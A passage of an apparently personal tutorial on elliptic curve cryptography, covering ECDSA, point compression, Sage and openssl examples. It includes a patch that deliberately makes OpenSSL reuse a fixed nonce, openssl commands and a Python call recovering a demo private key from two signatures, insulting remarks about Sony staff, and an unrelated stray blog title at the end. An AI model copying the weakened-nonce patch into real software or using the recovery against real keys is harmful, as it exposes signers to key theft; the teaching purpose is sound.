/>

By just multiplying your private key with the publicly transmitted point R,
you will receive the shared secret point S, from which you can then derive the
symmetric key \(with the same mechanism that the sender did generate it, of
course\).

To see why this works so beautifully, you just have to take a look at the
equations and substitute:

<img src='img/Temp2_2657.png' width='361' height='22' alt='latex:S = d_A \* R
= d_A \* r \* G  = r \* (d_A \* G) = r \* Q_A' />

### 4.4 Signing using ECDSA

#### 4.4.1 Signing

Generating and verifying signatures via ECDSA is a little bit more complicated
that encrypting data, but it's not impossible to understand. Again, let's
assume that we have a keypair QA, dA and want to sign a message with our
private key. First, we calculate a hash value of the message that we're about
to sign. For this for example SHA-1 can be used:

<img src='img/Temp2_2625.png' width='123' height='22' alt='latex:e =
\textnormal{HASH}(m)' />

Then, as with ECIES, a random number has to be generated \(here it's called k,
not r\). This random number must under all circumstances be different for each
generated signature, or the private key pair can be regenerated with some
tricks \(you'll see later on why\):

<img src='img/Temp2_2645.png' width='83' height='16' alt='latex:0 \lt k \lt n'
/>

This number k is then multiplied with the generator point G of the curve and
the x coordinate is taken modulo n:

<img src='img/Temp2_2621.png' width='150' height='52' alt='latex:R =
\begin{pmatrix} r_x \\ r_y \end{pmatrix} = k \* G' /> <img
src='img/Temp2_2589.png' width='186' height='21' alt='latex:r = r_x \mod n
\spc r \neq 0' />

Note that this is the exact same process as key generation, with a new private
key k. In fact, the values \(k, R\) are also in some documents referred to as
"ephemeral" or temporary keypairs.

If r is 0, a new random number has to be chosen. If a r not equal to 0 has
been found, s can be calculated:

<img src='img/Temp2_2631.png' width='186' height='45' alt='latex:s = \frac{e +
d_A \* r}{k} \mod n' />

If s is 0, a new random number has to be chosen. If it is not equal to zero,
the resulting pair of two integers \(r, s\) is then the final signature.

#### 4.4.2 Signature Verification

Now for the opposite direction: You received a message m, a signature \(r, s\)
and have the public key QA of the supposed sender. Now is the message legit?
Let's check it by first verifying that the values or \(r, s\) are plausible.
If they're not, the signature is invalid:

<img src='img/Temp2_2661.png' width='82' height='16' alt='latex:0 \lt r \lt n'
/> <img src='img/Temp2_2654.png' width='81' height='16' alt='latex:0 \lt s \lt
n' />

Now that these values are okay, generate the hash value of the message:

<img src='img/Temp2_2625.png' width='123' height='22' alt='latex:e =
\textnormal{HASH}(m)' />

Then invert s \(modulo n\):

<img src='img/Temp2_2593.png' width='144' height='20' alt='latex:w = s^{-1}
\mod n' />

And calculate two integers u1 and u2:

<img src='img/Temp2_2597.png' width='155' height='19' alt='latex:u_1 = e \* w
\mod n' /> <img src='img/Temp2_2647.png' width='154' height='19'
alt='latex:u_2 = r \* w \mod n' />

Then calculate the point P using the results of these computations:

<img src='img/Temp2_2634.png' width='242' height='52' alt='latex:P =
\begin{pmatrix} p_x \\ p_y \end{pmatrix} = u_1 \* G + u_2 \* Q_A' />

And take px modulo n. The signature is valid if px is equal to the received r
\(modulo n\):

<img src='img/Temp2_2580.png' width='130' height='28' alt='latex:p_x
\stackrel{?}{=} r \mod n' />

#### 4.4.3 Why ECDSA works

Now since these calculations are not immediately obvious, I will try to
explain why they work. Let's start at the signature verification equation:

<img src='img/Temp2_2634.png' width='242' height='52' alt='latex:P =
\begin{pmatrix} p_x \\ p_y \end{pmatrix} = u_1 \* G + u_2 \* Q_A' />

Then, substitute u1 and u2:

<img src='img/Temp2_2671.png' width='195' height='19' alt='latex:P = e \* w \*
G + r \* w \* Q_A' />

Substitute QA for the definition of the public key:

<img src='img/Temp2_2630.png' width='220' height='19' alt='latex:P = e \* w \*
G + r \* w \* d_A \* G' />

Now factor G and w:

<img src='img/Temp2_2598.png' width='378' height='22' alt='latex:P = (e \* w +
r \* w \* d_A) \* G = w \* (e + r \* d_A) \* G' />

Remember the definition of w:

<img src='img/Temp2_2579.png' width='390' height='47' alt='latex:w = s^{-1} =
(\frac{e + d_A \* r}{k})^{-1} = \frac{k}{e + d_A \* r} \mod n' />

And substitute into the equation of P -- rhe term e + dAr nicely cancels out:

<img src='img/Temp2_2578.png' width='310' height='47' alt='latex:P =
\frac{k}{e + d_A \* r} \* (e + r \* d_A) \* G = k \* G' />

During signature creation, kG was exatly the definition of R. Only the
X-component of that point is transmitted, which is obiously equal \(since the
points R and P are equal for a correct signature\).

### 4.5 Messing with ECDSA signatures

This is one of the most fun parts and actually the reason why I wanted to
understand ECC -- to be able to understand how to mess with them. As we've
seen in the chapter about signature generation, for each distinct signature a
different nonce k value has to be used. This is important because of the
following reason: Let's say we have two messages m1 and m2 which are both
signed with an identical nonce k. This means the value of r will be the same
for both signatures, they will only have different values of s, s1 and s2.
These values are:

<img src='img/Temp2_2641.png' width='204' height='45' alt='latex:s_1 =
\frac{e_1 + d_A \* r}{k} \mod n' /> <img src='img/Temp2_2637.png' width='204'
height='45' alt='latex:s_2 = \frac{e_2 + d_A \* r}{k} \mod n' />

Note that there are only two unknowns in these equation: dA and k. Since we
have two equations and two unknowns, we can solve for dA and k. First
rearrange the above equations:

<img src='img/Temp2_2650.png' width='197' height='47' alt='latex:k = \frac{e_1
+ d_A \* r}{s_1} \mod n' /> <img src='img/Temp2_2619.png' width='197'
height='47' alt='latex:k = \frac{e_2 + d_A \* r}{s_2} \mod n' />

Then set them equal and solve:

<img src='img/Temp2_2660.png' width='272' height='47' alt='latex:\frac{e_1 +
d_A \* r}{s_1} = \frac{e_1 + d_A \* r}{s_2} \mod n' />

Multiply with s1 s2:

<img src='img/Temp2_2669.png' width='356' height='22' alt='latex:s_2 \* (e_1 +
d_A \* r) = s_1 \* (e_2 + d_A \* r) \mod n' />

Expand left and right side:

<img src='img/Temp2_2618.png' width='381' height='19' alt='latex:s_2 \* e_1 +
s_2 \* d_A \* r = s_1 \* e_2 + s_1 \* d_A \* r \mod n' />

Subtract s1 e2 and s2 dA r:

<img src='img/Temp2_2665.png' width='381' height='19' alt='latex:s_2 \* e_1 -
s_1 \* e_2 = s_1 \* d_A \* r - s_2 \* d_A \* r \mod n' />

Factorize the right side:

<img src='img/Temp2_2676.png' width='344' height='22' alt='latex:s_2 \* e_1 -
s_1 \* e_2 = d_A \* r \* (s_1 - s_2) \mod n' />

And divide everything by r \(s1 \- s2\):

<img src='img/Temp2_2628.png' width='240' height='45' alt='latex:\frac{s_2 \*
e_1 - s_1 \* e_2}{r \* (s_1 - s_2)} = d_A \mod n' />

After we have calculated the private key, for fun and profit we can also
calculate the "random" nonce which was used:

<img src='img/Temp2_2650.png' width='197' height='47' alt='latex:k = \frac{e_1
+ d_A \* r}{s_1} \mod n' />

This works equally well with e2 or s2, of course.

#### 4.5.1 Excursion: Why the greatest morons of the universe work at Sony

In Console Hacking 2010 - PS3 Epic Fail, fail0verflow describe multiple hacks
against Sony's PlayStation 3 console. One of them was against signed binaries
that Sony uses to be able to run trusted code only. In other words: You cannot
just run any program on a PlayStation 3, but you have to give it to someone
with the signing key, who will review the code. Then, after it's been
approved, they sign your binary. The Sony bootloader then first checks the
signature of the binary \(to see if it's approved to run\) and only runs the
binary if the signature checks out.

Now the problem is that Sony did not realize the importance of having a
distinct nonce for every single signature they pass out. Instead, they opted
for the "one nonce suits all" option. This itself is stupid, but admittedly
forgivable \(since the disastrous implications are not immediately obvious in
my opinion\). What is not forgivable, however, is what followed: Being caught
with their pants down, they decided that it was the hacker's fault.
Consequently, they decided to sue George Hotz and fail0verflow and prosecute
anyone who posted the \(now public\) private key of theirs.

This just shows what huge dicks and douches work at the Sony legal department.
If you mess up, Sony, don't be such a bitchy cry-baby about it. Don't blame
others for your own screw-ups. You are probably one of the lamest companies
around.

## 5 Advanced Topics

### 5.1 Point Compression

To do actual work with points, they have to be stored in their complete
\(explicit\) form. To just uniquely identify a point which is on the curve,
giving its canonical coordinates is not necessary. Since we know that a point
is on-curve, it is in sufficient to only store the x-coordinate and the least
significant bit of the y-coordinate. This can be done in the manner described
in the SECG document, section 2.3.3 and following. First, consider a point P
and its compressed pendant P roof:

<img src='img/Temp2_2640.png' width='360' height='52' alt='latex:P =
\begin{pmatrix} p_x \\ p_y \end{pmatrix} \rightarrow \hat P = \begin{pmatrix}
p_x \\ p_y \mod 2 \end{pmatrix} = \begin{pmatrix} p_x \\ \hat p_y
\end{pmatrix}' />

As you can see, P is very easily compressed by leaving px as it is and just
taking py modulo 2, i.e. reducing it to its least significant bit.
Regenerating the original point is a little bit more challenging. First
calculate a helper value α:

<img src='img/Temp2_2664.png' width='222' height='26' alt='latex:\alpha =
p_x^3 + a p_x + b \mod p' />

Then perform the discrete square root to yield two \(or no\) values of β:

<img src='img/Temp2_2651.png' width='143' height='22' alt='latex:\beta =
\sqrt{\alpha} \mod p' />

If this fails, then an invalid x coordinate was given and the point
compression is invalid. But if the point was correctly compressed, this square
rooting yields two values:

<img src='img/Temp2_2668.png' width='95' height='22' alt='latex:\beta = [
\beta_1, \beta_2 ]' />

Now you take β1 modulo 2 and see if it is equal to the compress py. If so,
then β1 is the wanted py. Otherwise, β2 is the wanted py:

<img src='img/Temp2_2662.png' width='232' height='24' alt='latex:p_y = \beta_1
\textif \beta_1 = \hat p_y \mod 2' /> <img src='img/Temp2_2673.png'
width='232' height='24' alt='latex:p_y = \beta_2 \textif \beta_2 = \hat p_y
\mod 2' />

## 6 Examples

### 6.1 Testing your integer arithmetic using Genius

If you would like to verify if your implementation of modular integer
arithmetic is correct, it is tremendously useful to compare your results
against other implementations. For this I can highly recommend the GPLed math-
tool Genius. With Genius you can easily recap all calculations and see if your
results turn out. It supports the four basic modular operations,
exponentiation and square rooting. Plus: it is really easy to use\! Here's an
example:

[code]

    joequad joe [~]: genius --maxdigits=0
    Genius 1.0.11
    Copyright (C) 1997-2010 Jiří (George) Lebl, Ph.D.
    This is free software with ABSOLUTELY NO WARRANTY.
    For license details type `warranty'.
    For help type 'manual' or 'help'.
    
    genius> 123^456 mod 2003
    = 635
    genius> 77^-1 mod 101
    = 21
    genius> 12^-1 mod 101
    = 59
    genius> p = (2^127) - 1
    = 170141183460469231731687303715884105727
    genius> IsPrime(p)
    = true
    genius> 123456^123456 mod p
    = 29297808435319758216633793520210693282
    genius> 
    
[/code]

### 6.2 Using Sage to play with elliptic curves

Sage, for me as a Python programmer, is a dream come true: It's a very capable
and powerful CAS which uses Python: Therefore, all calculations are done using
Python syntax and you can use all the power of Python do achieve what you
want. It absolutely blew my socks off when I first used it. When you register
at their website, you can even try it out online without having to install it
locally. Wow\!

Anyways, let's start some modular arithmetic. In Sage, the field is always
defined explicitly \(I've added empty lines and comments for better
readability\):

[code]

    ----------------------------------------------------------------------
    | Sage Version 4.7.1, Release Date: 2011-08-11                       |
    | Type notebook() for the GUI, and license() for information.        |
    ----------------------------------------------------------------------
    sage: F = FiniteField(17)                  # Generate a finite field
    sage: print(F)
    Finite Field of size 17
    
    sage: F(3)                                 # Generate an integer over the field
    3
    sage: type(F(3))                           # Show its type
    <type 'sage.rings.finite_rings.integer_mod.IntegerMod_int'>
    
    sage: F(3) * 123                           # Do modular multiplication
    12
    
    sage: F(3) ^ -1                            # Do modular inversion
    6
    sage: F(3) * 6                             # Check the result for correctness
    1
    
    sage: F(8).sqrt()                          # Square root an invertible integer
    5
    sage: F(5) * 5                             # Check the result
    8
    
    sage: F(3).sqrt()                          # Square root a non-invertible integer
    sqrt3
    sage: (F(3).sqrt()) ^ 2                    # Check the result
    3
    
[/code]

Note that you can even calculate with values like the square root of 3 over
F17 even though it does not have an explicit representation in F17 \-- this is
really cool\!

Now let's place an elliptic curve in a prime field. Sage does not only
understand elliptic curves of the form

<img src='img/Temp2_2620.png' width='139' height='24' alt='latex:y^2 = x^3 +
ax + b' />

But is capable of much, much more. Curves in Sage have the form of \(see the
excellent Sage docs for more info on that\):

<img src='img/Temp2_2635.png' width='283' height='24' alt='latex:y^2 + cxy +
dy = x^3 + ex^2 + ax + b' />

Now obviously, if you set

<img src='img/Temp2_2577.png' width='119' height='16' alt='latex:c = d = e =
0' />

You will still receive a curve in the so-called short Weierstraß form \(which
is what we will use\). Let's first start with a tiny curve \(we will also use
that curve later on\):

[code]

    sage: F = FiniteField(263)                  # Generate a finite field
    sage: C = EllipticCurve(F, [ 2, 3 ])        # Set a, b
    sage: print(C)
    Elliptic Curve defined by y^2 = x^3 + 2*x + 3 over Finite Field of size 263
    
    sage: print(C.cardinality())                # Count number of points on curve
    270
    
    sage: print(C.points()[:4])                 # Show the first four points
    [(0 : 1 : 0), (0 : 23 : 1), (0 : 240 : 1), (1 : 100 : 1)]
    
[/code]

Note that sage represents points with three coordinates. The third coordinate
tells us whether the point is at infinity \(if it's 0\) or not \(then it is
1\). Let's choose a generator point, take \(200, 39\):

[code]

    sage: G = C.point((200, 39))
    sage: G
    (200 : 39 : 1)
    sage: G.order()
    270
    
[/code]

We know the order is 270, that means that when multiplying scalars with G
there is a total of 270 unique points that will be the result \(i.e. 269 plus
one at infinity\). Since this is equal to the number of points on the curve,
we know that by choosing this generator, every single point will be used. This
is by far not always the case. Let's choose a second generator point H with a
low order. Looking for low-order points is easy using Python magic. Let's look
for all points with an order smaller than 10:

[code]

    sage: [ p for p in C.points() if (p.order() < 10) ]
    [(0 : 1 : 0), (60 : 48 : 1), (60 : 215 : 1), (61 : 20 : 1), (61 : 243 : 1), 
    (102 : 90 : 1), (102 : 173 : 1), (126 : 76 : 1), (126 : 187 : 1),
    (128 : 81 : 1), (128 : 182 : 1), (144 : 35 : 1), (144 : 228 : 1), 
    (175 : 83 : 1), (175 : 180 : 1), (262 : 0 : 1)]
    
[/code]

Now let's also get their order as tuples \(did I mention that I love
Python?\):

[code]

    sage: [ (p.order(), p) for p in C.points() if (p.order() < 10) ]
    [(1, (0 : 1 : 0)), (9, (60 : 48 : 1)), (9, (60 : 215 : 1)), (5, (61 : 20 : 1)), 
    (5, (61 : 243 : 1)), (9, (102 : 90 : 1)), (9, (102 : 173 : 1)),
    (6, (126 : 76 : 1)), (6, (126 : 187 : 1)), (9, (128 : 81 : 1)), 
    (9, (128 : 182 : 1)), (3, (144 : 35 : 1)), (3, (144 : 228 : 1)), 
    (5, (175 : 83 : 1)), (5, (175 : 180 : 1)), (2, (262 : 0 : 1))]
    
[/code]

Let's sort them by order ascending:

[code]

    sage: sorted([ (p.order(), p) for p in C.points() if (p.order() < 10) ])
    [(1, (0 : 1 : 0)), (2, (262 : 0 : 1)), (3, (144 : 35 : 1)),
    (3, (144 : 228 : 1)), (5, (61 : 20 : 1)), (5, (61 : 243 : 1)), 
    (5, (175 : 83 : 1)), (5, (175 : 180 : 1)), (6, (126 : 76 : 1)), 
    (6, (126 : 187 : 1)), (9, (60 : 48 : 1)), (9, (60 : 215 : 1)), 
    (9, (102 : 90 : 1)), (9, (102 : 173 : 1)), (9, (128 : 81 : 1)), 
    (9, (128 : 182 : 1))]
    
[/code]

Let's choose \(126, 76\) as our weak generator point H. Then show all the
points that are iterated when multiplying scalars with H:

[code]

    sage: H = C.point((126, 76))
    sage: H.order()
    6
    sage: pts = [ H * x for x in range(H.order()) ]
    sage: pts
    [(0 : 1 : 0), (126 : 76 : 1), (144 : 35 : 1), (262 : 0 : 1), (144 : 228 : 1), (126 : 187 : 1)]
    
[/code]

As you might have guessed, Sage can also plot these points. Let's first plot a
single point:

[code]

    sage: pts[4]
    (144 : 228 : 1)
    sage: plot(pts[4])
    
[/code]

<img src='img/Temp2_2596.png' width='544' height='346' alt='Plotting a single
point in Sage' />

Plotting multiple things is done by adding plots in Sage. Consequently we will
be able to use the sum-function to plot all points\!

[code]

    sage: plot(pts[4]) + plot(pts[5])
    
[/code]

<img src='img/Temp2_2646.png' width='528' height='346' alt='Plotting two
points in Sage' />

[code]

    sage: sum([ plot(p) for p in pts ])
    
[/code]

<img src='img/Temp2_2613.png' width='500' height='326' alt='Plotting all
subgroup points in Sage' />

Let's color those subgroup points created by H in orange:

[code]

    sage: plot1 = sum([ plot(p, hue = 0.1) for p in pts ])
    sage: plot1
    
[/code]

<img src='img/Temp2_2674.png' width='500' height='326' alt='Plotting all
subgroup points in Sage' />

Since X and Y should have a 1:1 ratio, let's do this:

[code]

    sage: plot(plot1, aspect_ratio = 1)
    
[/code]

<img src='img/Temp2_2617.png' width='500' height='427' alt='Plotting all
subgroup points in Sage with correct aspect ratio' />

Let's also plot all points on the curve:

[code]

    sage: plot(C, aspect_ratio = 1)
    
[/code]

<img src='img/Temp2_2595.png' width='506' height='491' alt='Plotting all
points on curve in Sage with correct aspect ratio' />

Let's plot all points \(in blue\) together with the points of the subgroup
created by the weak generator point H:

[code]

    sage: plot((plot(C) + plot1), aspect_ratio = 1)
    
[/code]

<img src='img/Temp2_2658.png' width='501' height='486' alt='Plotting all
points on curve plus subgroup points in Sage with correct aspect ratio' />

Now if that isn't cool I don't know what is :-\)

### 6.3 Extracting curve parameters from openssl

If you want to play with real curves, a good source is openssl. To first check
what curves your openssl variant supports, you can easily list then:

[code]

    joequad joe [~]: openssl ecparam -list_curves
      secp112r1 : SECG/WTLS curve over a 112 bit prime field
      secp112r2 : SECG curve over a 112 bit prime field
      secp128r1 : SECG curve over a 128 bit prime field
      secp128r2 : SECG curve over a 128 bit prime field
      secp160k1 : SECG curve over a 160 bit prime field
    [...]
    
[/code]

All curves which are specified over a "prime field" are exactly what we did
all the time, a curve over Fp. Curves over binary fields are not discussed
here. So choose one of your liking \(I'll take secp112r1\) and display its
parameters:

[code]

    joequad joe [~]: openssl ecparam -param_enc explicit -conv_form uncompressed -text -noout -no_seed -name secp112r1
    Field Type: prime-field
    Prime:
        00:db:7c:2a:bf:62:e3:5e:66:80:76:be:ad:20:8b
    A:   
        00:db:7c:2a:bf:62:e3:5e:66:80:76:be:ad:20:88
    B:   
        65:9e:f8:ba:04:39:16:ee:de:89:11:70:2b:22
    Generator (uncompressed):
        04:09:48:72:39:99:5a:5e:e7:6b:55:f9:c2:f0:98:
        a8:9c:e5:af:87:24:c0:a2:3e:0e:0f:f7:75:00
    Order: 
        00:db:7c:2a:bf:62:e3:5e:76:28:df:ac:65:61:c5
    Cofactor:  1 (0x1)
    
[/code]

By removing all the colons, you already have the numbers you want in
hexadecimal representation. Note that for the generator point G in
uncompressed form you have to discard the first byte \(0x04 indicates that the
two points are encoded directly, without compression -- see section 2.3.3 of
the SECG document for details\), then comes the x- and y-component. So for
this example, the values are:

<img src='img/Temp2_2594.png' width='729' height='20' alt='latex:p =
\hex{db7c2abf62e35e668076bead208b} = 4451685225093714772084598273548427' />
<img src='img/Temp2_2636.png' width='727' height='16' alt='latex:a =
\hex{db7c2abf62e35e668076bead2088} = 4451685225093714772084598273548424' />
<img src='img/Temp2_2642.png' width='728' height='16' alt='latex:b =
\hex{659ef8ba043916eede8911702b22} = 2061118396808653202902996166388514' />
<img src='img/Temp2_2588.png' width='714' height='20' alt='latex:g_x =
\hex{9487239995a5ee76b55f9c2f098} = 188281465057972534892223778713752' /> <img
src='img/Temp2_2599.png' width='725' height='22' alt='latex:g_y =
\hex{a89ce5af8724c0a23e0e0ff77500} = 3419875491033170827167861896082688' />
<img src='img/Temp2_2615.png' width='721' height='16' alt='latex:n =
\hex{db7c2abf62e35e7628dfac6561c5} = 4451685225093714776491891542548933' />

### 6.4 Playing with openssl ECDSA signatures

OpenSSL by default does not do the same mistake that Sony did with their PS3
signatures. However, it can by changing one line easily be modified to perform
the same result. We will demonstrate this in order to show the attack. First
we have to Sonyfy OpenSSL. For this, the following patch can be used:

[code]

    diff -r -c3 openssl-1.0.0d-orig//crypto/ecdsa/ecs_ossl.c openssl-1.0.0d/crypto/ecdsa/ecs_ossl.c
    *** openssl-1.0.0d-orig//crypto/ecdsa/ecs_ossl.c    2009-12-01 18:32:33.000000000 +0100
    --- openssl-1.0.0d/crypto/ecdsa/ecs_ossl.c    2011-09-29 20:14:20.000000000 +0200
    ***************
    *** 134,148 ****
          
          do
          {
    !         /* get random k */    
    !         do
    !             if (!BN_rand_range(k, order))
    !             {
    !                 ECDSAerr(ECDSA_F_ECDSA_SIGN_SETUP,
    !                  ECDSA_R_RANDOM_NUMBER_GENERATION_FAILED);    
    !                 goto err;
    !             }
    !         while (BN_is_zero(k));
      
              /* compute r the x-coordinate of generator * k */
              if (!EC_POINT_mul(group, tmp_point, k, NULL, NULL, ctx))
    --- 134,141 ----
          
          do
          {
    !         /* get not so random k, hahaha */    
    !         BN_set_word(k, 0x536f6e79);        /* Sonyfy ECDSA security! */
      
              /* compute r the x-coordinate of generator * k */
              if (!EC_POINT_mul(group, tmp_point, k, NULL, NULL, ctx))
    
[/code]

Therefore, after a random number has successfully been chosen, we simply
override it with the constant value 0x536f6e79. Then, let's generate a keypair
first:

[code]

    joequad joe [~/sonyecc]: openssl ecparam -name secp192k1 -genkey -out sony.key
    
[/code]

After the key has been created, let's create a X.509 certificate from that
key:

[code]

    joequad joe [~/sonyecc]: openssl req -new -x509 -nodes -days 365 -key sony.key -out sony.crt
    [...]
    
[/code]

Then, let's sign some data using S/MIME. Be sure to used your Sonyfied version
of OpenSSL:

[code]

    joequad joe [~/sonyecc]: echo -n foo | ./openssl smime -sign -signer sony.crt -inkey sony.key -noattr -out foo.sig
    joequad joe [~/sonyecc]: echo -n bar | ./openssl smime -sign -signer sony.crt -inkey sony.key -noattr -out bar.sig
    
[/code]

Convert the S/MIME blobs into PKCS7 \(apparently in version 1.0.0 this does
not work in the same step\):

[code]

    joequad joe [~/sonyecc]: openssl smime -pk7out -in foo.sig -out foo.pk7
    joequad joe [~/sonyecc]: openssl smime -pk7out -in bar.sig -out bar.pk7
    
[/code]

Then examine the signature blob of the foo signature first by using the ASN1
decoder of OpenSSL:

[code]

    joequad joe [~/sonyecc]: openssl asn1parse -in foo.pk7
    [...]
      810:d=5  hl=2 l=   9 cons: SEQUENCE          
      812:d=6  hl=2 l=   5 prim: OBJECT            :sha1
      819:d=6  hl=2 l=   0 prim: NULL              
      821:d=5  hl=2 l=   9 cons: SEQUENCE          
      823:d=6  hl=2 l=   7 prim: OBJECT            :ecdsa-with-SHA1
      832:d=5  hl=2 l=  56 prim: OCTET STRING      [HEX DUMP]:3036021900B44654432124B9EE0CAE954630AE09B5FB0D81A350005F25021900B0035643E4C581DC089278F4E661F0FB7F98F14E8FA81785
    
[/code]

You can see that the signature is the last octet string in the tuple, it
encodes r and s. In my example this octet string starts at offset 832, but
YMMV. To further decode that octet string:

[code]

    joequad joe [~/sonyecc]: openssl asn1parse -in foo.pk7 -strparse 832
        0:d=0  hl=2 l=  53 cons: SEQUENCE          
        2:d=1  hl=2 l=  25 prim: INTEGER           :B44654432124B9EE0CAE954630AE09B5FB0D81A350005F25
       29:d=1  hl=2 l=  25 prim: INTEGER           :B0035643E4C581DC089278F4E661F0FB7F98F14E8FA81785
    
[/code]

Then, do the same for the bar.pk7:

[code]

    joequad joe [~/sonyecc]: openssl asn1parse -in bar.pk7 -strparse 832
        0:d=0  hl=2 l=  54 cons: SEQUENCE          
        2:d=1  hl=2 l=  25 prim: INTEGER           :B44654432124B9EE0CAE954630AE09B5FB0D81A350005F25
       29:d=1  hl=2 l=  24 prim: INTEGER           :3EE09F92DD92BBCAE1BFFB9708115E66850A2AD33F394DD8
    
[/code]

You can already see that the values for r are identical for both signatures --
so this is going to be fun\! First, let's again see what key we have created
before. For this, you need to decode the ASN1 part of the keyfile which says
"EC PRIVATE KEY" \(not the "EC PARAMETERS"\):

[code]

    joequad joe [~/sonyecc]: cat sony.key | tail -n +4 | openssl asn1parse
        0:d=0  hl=2 l=  92 cons: SEQUENCE          
        2:d=1  hl=2 l=   1 prim: INTEGER           :01
        5:d=1  hl=2 l=  24 prim: OCTET STRING      [HEX DUMP]:EC7C14196B64ABEA2E70D52002EF8E01748252B060D8E980
       31:d=1  hl=2 l=   7 cons: cont [ 0 ]        
       33:d=2  hl=2 l=   5 prim: OBJECT            :secp192k1
       40:d=1  hl=2 l=  52 cons: cont [ 1 ]        
       42:d=2  hl=2 l=  50 prim: BIT STRING
    
[/code]

Then, let's recap what signature values the messages have. They are included
in the PKCS7 \(you can read them out via the decoded ASN1\), or you can just
simply calculate them using sha1sum:

[code]

    joequad joe [~/sonyecc]: echo -n foo | sha1sum
    0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33  -
    joequad joe [~/sonyecc]: echo -n bar | sha1sum
    62cdb7020ff920e5aa642c3d4066950dd1f01f4d  -
    
[/code]

And let's also dump the domain parameters of the secp192k1 curve:

[code]

    a = 0
    b = 3
    p = 0xfffffffffffffffffffffffffffffffffffffffeffffee37
    n = 0xfffffffffffffffffffffffe26f2fc170f69466a74defd8d
    h = 1
    gx = db4ff10ec057e9ae26b07d0280b7f4341da5d1b1eae06c7d
    gy = 9b2f2f6d9c5628a7844163d015be86344082aa88d95e2f9d
    
[/code]

Then, using the Python scripts I wrote \(downloadable below in the package
called joeecc\), create that curve in Python:

[code]

    secp192k1 = curves["secp192k1"]
    recvr = secp192k1.exploitidenticalnoncesig(
        0xB44654432124B9EE0CAE954630AE09B5FB0D81A350005F25,
        0x0ADA8B0EB836F72A00072936ACABECD00EC6BF5114B35FFA,
        "foo",
        0x99B7D45DB1043118D934ABD6F54E565223A13F40392393DA,
        "bar"
    )
    print("Recovered nonce      : 0x%x" % (recvr["nonce"].getintvalue()))
    print("Recovered private key: 0x%x" % (recvr["privatekey"].getintvalue()))
    
[/code]

...just let it run and watch the fun...

[code]

    Recovered nonce      : 0x536f6e79
    Recovered private key: 0xec7c14196b64abea2e70d52002ef8e01748252b060d8e980
    
[/code]

Yippey\!

### 6.5 Visualizing a small curve

In order to better understand the underlying nature of a curve, consider this
very tiny curve:

<img src='img/Temp2_2611.png' width='234' height='24' alt='latex:y^2 = x^3 +
2x + 3 \mod 263' />

With the generator base point:

<img src='img/Temp2_2586.png' width='99' height='52' alt='latex:G =
\begin{pmatrix} 200 \\ 39 \end{pmatrix}' />

Just showing the points on the curve looks kind of tidy:

<img src='img/Temp2_2583.png' width='491' height='502' alt='Points on tiny
curve' />

But when they're connected with lines in the order they appear on the curve
\(as generated by the generator base point G\), this does not look so tidy
anymore -- it is quite chaotic:

<img src='img/Temp2_2667.png' width='490' height='502' alt='Points on tiny
curve connected by lines' />

## 7 FAQ

### 7.1 Cool\! Now that I know how to use ECC, should I write my own crypto
library?

**Please don't.** This tutorial is meant to merely help people understand how
the underlying crypto works. It is not meant to be used productively at all\!
Please understand that the people who do write crypto libraries for a living
have an incredible amount of knowledge about all kinds of topics that are
relevant to ensure security in a real-world scenario. If you don't know your
stuff, do not expect to write code that is secure \(although it might give the
false impression of being secure\).

### 7.2 Can I at least define my own curve then?

**Please don't.** As with the answer to the previous question, people who
define curves and choose generator points really know what they're doing. They
have years of experience \(and probably one or two Ph.D.s in mathematics more
than you\). Do not expect to produce high-quality curves with just the aid of
some web tutorial.

### 7.3 But I don't trust NIST/SECG. What alternatives do I have?

Have a look at the Brainpool curves. They are provably randomly chosen, so the
possibility that someone has hidden a backdoor in them is extremely unlikely.

## 8 Downloads

Filename | Last Changed | Description  
---|---|---  
joeecc on GitHub  
Release v0.05 from 2015-08-12 | 2015-08-11 | 
  * Python example suite demonstrating how to work with ECC
  * Demonstrates how to use encryption \(ECIES\)
  * Demonstrates how to work with signatures \(ECDSA and EdDSA\)
  * Demonstrates how to use key exchange \(ECDH\)
  * Demonstrates how to extract the private key when signatures use duplicate nonces \(ECDSA exploit\)
  * Includes the example that was used above to extract nonce from broken OpenSSL signature
  * Includes support for short Weierstrass curves, Montgomery curves and twisted Edwards curves
  * Allows conversion of curve points between Montgomery and twisted Edwards curves
  * Allows conversion of domain parameters between Montgomery and twisted Edwards curves
  * Large curve database \(and script to export OpenSSL curves into joeecc\) including Brainpool curves, Curve25519 and Ed25519
  * Licensed under the GNU General Public License v3

  
simplemodarith.py | 2011-09-29 | 
  * Small Python script to demonstrate how to perform modular multiplication and exponentiation

  
tcdata\_modarith.txt.gz | 2011-09-29 | 
  * Test vectors for modular integer arithmetic
  * Encoded in text format
  * Contains examples for two-operand operations: addition, subtraction, multiplication, division, exponentiation
  * Contains examples for one-operand operations: inversion, square root

  
tcdata\_curve.txt.gz | 2011-09-29 | 
  * Test vectors for point operations on elliptic curves
  * Encoded in text format

  
openssl\_sonyfy.patch | 2011-09-29 | 
  * Patch to Sonyfy OpenSSL's ECDSA implementation, against OpenSSL 1.0.0d
  * Breaks ECDSA of OpenSSL, **never use this unless for demo purposes**

  
ecdsa-identical-nonce-hack.tar.gz | 2011-09-29 | 
  * All the certificate and key files I generated in the example above

  
pointcloud.tar.gz | 2011-09-29 | 
  * Source data and Gnuplot script to plot the pointcloud shown above

  
## 9 Literature

Document | Author | Description  
---|---|---  
Elliptic Curve Cryptography - An Implementation Guide | Anoop MS | 
  * Probably the best resource I found on the net to show how ECC really works
  * Shows how curves over Fp and binary fields work
  * Shows how projective coordinate representation can be used to achieve faster scalar point multiplication
  * Shows how signatures \(ECDSA\) work
  * Very detailed and nicely written -- a **must read**\!
  * Starts at very basic level and still contains a lot of detail

  
SEC 1: Elliptic Curve Cryptography | SECG | 
  * Excellent and comprehensive ECC description

  
ECC Tutorial | Certicom | 
  * Contains a nice Java applet to show how the outcome of point addition and doubling

  
Console Hacking 2010 - PS3 Epic Fail | fail0verflow | 
  * Example of how to mess with ECDSA signatures in real life on pgs. 123-125
  * Beautiful ECDSA hack \(among many other very interesting hacks\)
  * Side note: The people at Sony responsible for this babyish suing-campaign against hackers are spineless pricks and deserve to write Excel macros for the rest of their puny lives.

  
RFC3279: Algorithms and Identifiers for the Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List \(CRL\) Profile | W. Polk, R. Housley, L. Bassham | 
  * Contains encoding details of ECDSA signature values R & S

  
  

# Peter Van Eeckhoutte´s Blog :: \[Knowledge is not an object, it´s a flow\]
:: Exploit writing tutorial part 5 : How debugger modules & plugins can speed
up basic exploit development

